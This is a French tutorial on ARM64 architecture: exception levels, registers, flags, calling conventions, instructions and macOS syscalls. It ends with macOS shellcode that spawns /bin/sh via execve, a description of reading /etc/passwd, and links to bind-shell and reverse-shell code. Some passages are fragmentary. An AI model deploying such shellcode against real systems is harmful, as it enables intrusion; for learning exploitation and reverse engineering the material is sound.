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Dans l'architecture ARMv8, les niveaux d'exécution, connus sous le nom de niveaux d'exception (EL), définissent le niveau de privilège et les capacités de l'environnement d'exécution. Il existe quatre niveaux d'exception, allant de EL0 à EL3, chacun servant à un but différent :
* Il s'agit du niveau le moins privilégié et est utilisé pour exécuter du code d'application régulier.
* Les applications s'exécutant à EL0 sont isolées les unes des autres et du logiciel système, améliorant ainsi la sécurité et la stabilité.
2.**EL1 - Mode noyau du système d'exploitation** :
* La plupart des noyaux de systèmes d'exploitation s'exécutent à ce niveau.
* EL1 a plus de privilèges que EL0 et peut accéder aux ressources système, mais avec certaines restrictions pour garantir l'intégrité du système.
3.**EL2 - Mode hyperviseur** :
* Ce niveau est utilisé pour la virtualisation. Un hyperviseur s'exécutant à EL2 peut gérer plusieurs systèmes d'exploitation (chacun dans son propre EL1) s'exécutant sur le même matériel physique.
* EL3 peut gérer et contrôler les accès entre les états sécurisés et non sécurisés (comme le démarrage sécurisé, le système d'exploitation de confiance, etc.).
L'utilisation de ces niveaux permet de gérer de manière structurée et sécurisée différents aspects du système, des applications utilisateur au logiciel système le plus privilégié. L'approche d'ARMv8 en matière de niveaux de privilège aide à isoler efficacement les différents composants du système, améliorant ainsi la sécurité et la robustesse du système.
ARM64 dispose de **31 registres généraux**, étiquetés `x0` à `x30`. Chacun peut stocker une valeur de **64 bits** (8 octets). Pour les opérations nécessitant uniquement des valeurs de 32 bits, les mêmes registres peuvent être accessibles en mode 32 bits en utilisant les noms w0 à w30.
1.**`x0`** à **`x7`** - Ceux-ci sont généralement utilisés comme registres temporaires et pour passer des paramètres aux sous-routines.
* **`x0`** transporte également les données de retour d'une fonction.
2.**`x8`** - Dans le noyau Linux, `x8` est utilisé comme numéro d'appel système pour l'instruction `svc`. **Sur macOS, c'est x16 qui est utilisé !**
3.**`x9`** à **`x15`** - Plus de registres temporaires, souvent utilisés pour les variables locales.
4.**`x16`** et **`x17`** - **Registres d'appel intra-procédural**. Registres temporaires pour les valeurs immédiates. Ils sont également utilisés pour les appels de fonctions indirects et les ébauches de PLT (Table de liaison de procédure).
5.**`x18`** - **Registre de plateforme**. Il peut être utilisé comme registre général, mais sur certaines plateformes, ce registre est réservé à des utilisations spécifiques à la plateforme : Pointeur vers le bloc d'environnement de thread actuel dans Windows, ou pour pointer vers la structure de tâche actuellement **en cours d'exécution dans le noyau Linux**.
6.**`x19`** à **`x28`** - Ce sont des registres sauvegardés par l'appelé. Une fonction doit préserver les valeurs de ces registres pour son appelant, elles sont donc stockées dans la pile et récupérées avant de retourner à l'appelant.
7.**`x29`** - **Pointeur de cadre** pour suivre le cadre de la pile. Lorsqu'un nouveau cadre de pile est créé parce qu'une fonction est appelée, le registre **`x29`** est **stocké dans la pile** et l'adresse du **nouveau** pointeur de cadre (adresse **`sp`**) est **stockée dans ce registre**.
* Ce registre peut également être utilisé comme **registre général** bien qu'il soit généralement utilisé comme référence aux **variables locales**.
8.**`x30`** ou **`lr`** - **Registre de lien**. Il contient l'**adresse de retour** lorsqu'une instruction `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) est exécutée en stockant la valeur du **`pc`** dans ce registre.
* Il peut également être utilisé comme n'importe quel autre registre.
* la valeur de **`sp`** doit toujours être maintenue à au moins un **alignement de quadrimot** ou une exception d'alignement peut se produire.
10.**`pc`** - **Compteur de programme**, qui pointe vers l'instruction suivante. Ce registre ne peut être mis à jour que par des générations d'exceptions, des retours d'exceptions et des branches. Les seules instructions ordinaires qui peuvent lire ce registre sont les instructions de branchement avec lien (BL, BLR) pour stocker l'adresse **`pc`** dans le registre **`lr`** (Registre de lien).
11.**`xzr`** - **Registre zéro**. Aussi appelé **`wzr`** dans sa forme de registre **32** bits. Peut être utilisé pour obtenir facilement la valeur zéro (opération courante) ou pour effectuer des comparaisons en utilisant **`subs`** comme **`subs XZR, Xn, #10`** stockant les données résultantes nulle part (dans **`xzr`**).
De plus, il existe **32 registres de longueur 128 bits** qui peuvent être utilisés dans des opérations SIMD optimisées (Single Instruction Multiple Data) et pour effectuer des calculs en virgule flottante. Ils sont appelés les registres Vn bien qu'ils puissent également fonctionner en **64** bits, **32** bits, **16** bits et **8** bits, et alors ils sont appelés **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** et **`Bn`**.
**Il existe des centaines de registres système**, également appelés registres spéciaux (SPRs), qui sont utilisés pour **surveiller** et **contrôler** le **comportement des processeurs**.\
Ils ne peuvent être lus ou définis qu'à l'aide des instructions spéciales dédiées **`mrs`** et **`msr`**.
Les registres spéciaux **`TPIDR_EL0`** et **`TPIDDR_EL0`** sont couramment rencontrés lors de l'ingénierie inverse. Le suffixe `EL0` indique le **niveau d'exception minimal** à partir duquel le registre peut être accédé (dans ce cas, EL0 est le niveau d'exception régulier (privilège) auquel les programmes réguliers s'exécutent).\
Ils sont souvent utilisés pour stocker l'**adresse de base de la région de stockage locale du thread** en mémoire. Généralement, le premier est lisible et inscriptible pour les programmes s'exécutant en EL0, mais le second peut être lu depuis EL0 et écrit depuis EL1 (comme le noyau).
**PSTATE** contient plusieurs composants de processus sérialisés dans le registre spécial **`SPSR_ELx`** visible par le système d'exploitation, X étant le **niveau de permission de l'exception déclenchée** (ce qui permet de récupérer l'état du processus lorsque l'exception se termine).\
* En soustraction, lorsqu'un grand nombre négatif est soustrait d'un plus petit nombre positif (ou vice versa), et que le résultat ne peut pas être représenté dans la plage de la taille de bits donnée.
Toutes les instructions ne mettent pas à jour ces indicateurs. Certaines comme **`CMP`** ou **`TST`** le font, et d'autres qui ont un suffixe **s** comme **`ADDS`** le font également.
* Le drapeau de largeur de registre actuel (`nRW`) : Si le drapeau contient la valeur 0, le programme s'exécutera dans l'état d'exécution AArch64 une fois repris.
* Le **niveau d'exception actuel (`EL`) : Un programme régulier s'exécutant en EL0 aura la valeur 0
* Le drapeau de **pas à pas unique (`SS`) : Utilisé par les débogueurs pour effectuer un pas à pas en définissant le drapeau SS à 1 à l'intérieur de **`SPSR_ELx`** via une exception. Le programme effectuera un pas et émettra une exception de pas à pas unique.
* Le drapeau d'état d'exception illégal (`IL`) : Il est utilisé pour marquer lorsqu'un logiciel privilégié effectue un transfert de niveau d'exception invalide, ce drapeau est défini à 1 et le processeur déclenche une exception d'état illégal.
* Si **`A`** est à 1, cela signifie que des **abandons asynchrones** seront déclenchés. Le **`I`** configure la réponse aux **demandes d'interruption matérielles externes** (IRQ) et le F est lié aux **demandes d'interruption rapide** (FIR).
* Les drapeaux de sélection de pointeur de pile (`SPS`) : Les programmes privilégiés s'exécutant en EL1 et supérieur peuvent basculer entre l'utilisation de leur propre registre de pointeur de pile et celui du modèle utilisateur (par exemple, entre `SP_EL1` et `EL0`). Cette commutation est effectuée en écrivant dans le registre spécial **`SPSel`**. Cela ne peut pas être fait depuis EL0.
La convention d'appel ARM64 spécifie que les **huit premiers paramètres** d'une fonction sont passés dans les registres **`x0` à `x7`**. Les **paramètres supplémentaires** sont passés sur la **pile**. La **valeur de retour** est renvoyée dans le registre **`x0`**, ou dans **`x1`** également **s'il fait 128 bits de long**. Les registres **`x19`** à **`x30`** et **`sp`** doivent être **conservés** entre les appels de fonction.
Lors de la lecture d'une fonction en langage d'assemblage, recherchez le **prologue et l'épilogue de la fonction**. Le **prologue** implique généralement **la sauvegarde du pointeur de cadre (`x29`)**, **la configuration** d'un **nouveau pointeur de cadre**, et **l'allocation d'espace de pile**. L'**épilogue** implique généralement **la restauration du pointeur de cadre sauvegardé** et **le retour** de la fonction.
Swift a sa propre **convention d'appel** qui peut être trouvée dans [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**, où **`opcode`** est l'**opération** à effectuer (comme `add`, `sub`, `mov`, etc.), **`dst`** est le **registre de destination** où le résultat sera stocké, et **`src1`** et **`src2`** sont les **registres source**. Des valeurs immédiates peuvent également être utilisées à la place des registres source.
* **`ldr`** : **Charger** une valeur depuis la **mémoire** dans un **registre**.
* Exemple : `ldr x0, [x1]` — Cela charge une valeur depuis l'emplacement mémoire pointé par `x1` dans `x0`.
* **`str`** : **Stocker** une valeur d'un **registre** dans la **mémoire**.
* Exemple : `str x0, [x1]` — Cela stocke la valeur dans `x0` dans l'emplacement mémoire pointé par `x1`.
* **`ldp`** : **Charger une paire de registres**. Cette instruction **charge deux registres** à partir d'emplacements mémoire consécutifs. L'adresse mémoire est généralement formée en ajoutant un décalage à la valeur dans un autre registre.
* Exemple : `ldp x0, x1, [x2]` — Cela charge `x0` et `x1` depuis les emplacements mémoire à `x2` et `x2 + 8`, respectivement.
* **`stp`** : **Stocker une paire de registres**. Cette instruction **stocke deux registres** dans des emplacements mémoire consécutifs. L'adresse mémoire est généralement formée en ajoutant un décalage à la valeur dans un autre registre.
Armv8-A prend en charge l'exécution de programmes 32 bits. **AArch32** peut s'exécuter dans l'un des **deux jeux d'instructions** : **`A32`** et **`T32`** et peut basculer entre eux via **`interworking`**.\
Les programmes 64 bits **privilégiés** peuvent planifier l'**exécution de programmes 32 bits** en effectuant un transfert de niveau d'exception vers le 32 bits moins privilégié.\
Notez que la transition de 64 bits à 32 bits se produit avec une baisse du niveau d'exception (par exemple, un programme 64 bits en EL1 déclenchant un programme en EL0). Cela est fait en définissant le **bit 4 de****`SPSR_ELx`** registre spécial **à 1** lorsque le thread de processus `AArch32` est prêt à être exécuté et le reste de `SPSR_ELx` stocke les programmes **`AArch32`** CPSR. Ensuite, le processus privilégié appelle l'instruction **`ERET`** pour que le processeur passe en mode **`AArch32`** en entrant en A32 ou T32 en fonction de CPSR**.**
L'**`interworking`** se produit en utilisant les bits J et T de CPSR. `J=0` et `T=0` signifie **`A32`** et `J=0` et `T=1` signifie **T32**. Cela se traduit essentiellement par le réglage du **bit le plus bas à 1** pour indiquer que le jeu d'instructions est T32.\
Cela est défini lors des **instructions de branchement interworking,** mais peut également être défini directement avec d'autres instructions lorsque le PC est défini comme le registre de destination. Exemple :
De plus, les registres sont sauvegardés dans des **registres bancaires**. Ce sont des emplacements qui stockent les valeurs des registres permettant d'effectuer une **commutation de contexte rapide** dans la gestion des exceptions et des opérations privilégiées pour éviter de devoir sauvegarder et restaurer manuellement les registres à chaque fois. Cela est réalisé en **sauvegardant l'état du processeur du `CPSR` dans le `SPSR`** du mode processeur vers lequel l'exception est prise. Lors du retour de l'exception, le **`CPSR`** est restauré à partir du **`SPSR`**.
En AArch32, le CPSR fonctionne de manière similaire à **`PSTATE`** en AArch64 et est également stocké dans **`SPSR_ELx`** lorsqu'une exception est prise pour restaurer ultérieurement l'exécution :
- Les drapeaux **`N`**, **`Z`**, **`C`**, **`V`** (tout comme en AArch64)
- Le drapeau **`Q`** : Il est défini à 1 chaque fois que survient une **saturation entière** lors de l'exécution d'une instruction arithmétique de saturation spécialisée. Une fois défini à **`1`**, il conservera la valeur jusqu'à ce qu'il soit manuellement remis à 0. De plus, il n'y a aucune instruction qui vérifie sa valeur implicitement, cela doit être fait en le lisant manuellement.
- **`GE`** (Supérieur ou égal) Drapeaux : Ils sont utilisés dans les opérations SIMD (Single Instruction, Multiple Data), telles que "addition parallèle" et "soustraction parallèle". Ces opérations permettent de traiter plusieurs points de données dans une seule instruction.
Par exemple, l'instruction **`UADD8`** **ajoute quatre paires d'octets** (à partir de deux opérandes de 32 bits) en parallèle et stocke les résultats dans un registre de 32 bits. Ensuite, elle **définit les drapeaux `GE` dans l'`APSR`** en fonction de ces résultats. Chaque drapeau GE correspond à une des additions d'octets, indiquant si l'addition pour cette paire d'octets a **débordé**.
- Les bits **`J`** et **`T`** : **`J`** doit être 0 et si **`T`** est 0, l'ensemble d'instructions A32 est utilisé, et s'il est à 1, le T32 est utilisé.
- Registre d'état de bloc IT (`ITSTATE`) : Ce sont les bits de 10 à 15 et de 25 à 26. Ils stockent les conditions pour les instructions à l'intérieur d'un groupe préfixé par **`IT`**.
- Bit **`E`** : Indique l'**endianness**.
- Bits de mode et de masque d'exception (0-4) : Ils déterminent l'état d'exécution actuel. Le cinquième indique si le programme s'exécute en 32 bits (un 1) ou en 64 bits (un 0). Les quatre autres représentent le **mode d'exception actuellement utilisé** (lorsqu'une exception se produit et est en cours de traitement). Le nombre défini **indique la priorité actuelle** au cas où une autre exception serait déclenchée pendant celle-ci.
- **`AIF`** : Certaines exceptions peuvent être désactivées en utilisant les bits **`A`**, `I`, `F`. Si **`A`** est à 1, cela signifie que des **abandons asynchrones** seront déclenchés. Le **`I`** configure la réponse aux **demandes d'interruption matérielles externes** (IRQ). et le F est lié aux **demandes d'interruption rapide** (FIR).
Consultez [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Les appels système BSD auront **x16 > 0**.
Consultez [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html). Les pièges Mach auront **x16 < 0**, donc vous devez appeler les numéros de la liste précédente avec un **moins** : **`_kernelrpc_mach_vm_allocate_trap`** est **`-10`**.
Parfois, il est plus facile de vérifier le code **décompilé** de **`libsystem_kernel.dylib`** que de vérifier le **code source** car le code de plusieurs appels système (BSD et Mach) est généré via des scripts (vérifiez les commentaires dans le code source) tandis que dans le dylib, vous pouvez voir ce qui est appelé.
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
Le but est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un tableau de paramètres (ce qui signifie en mémoire une pile d'adresses).
Coquille de liaison depuis [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) sur le **port 4444**
Depuis [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell vers **127.0.0.1:4444**
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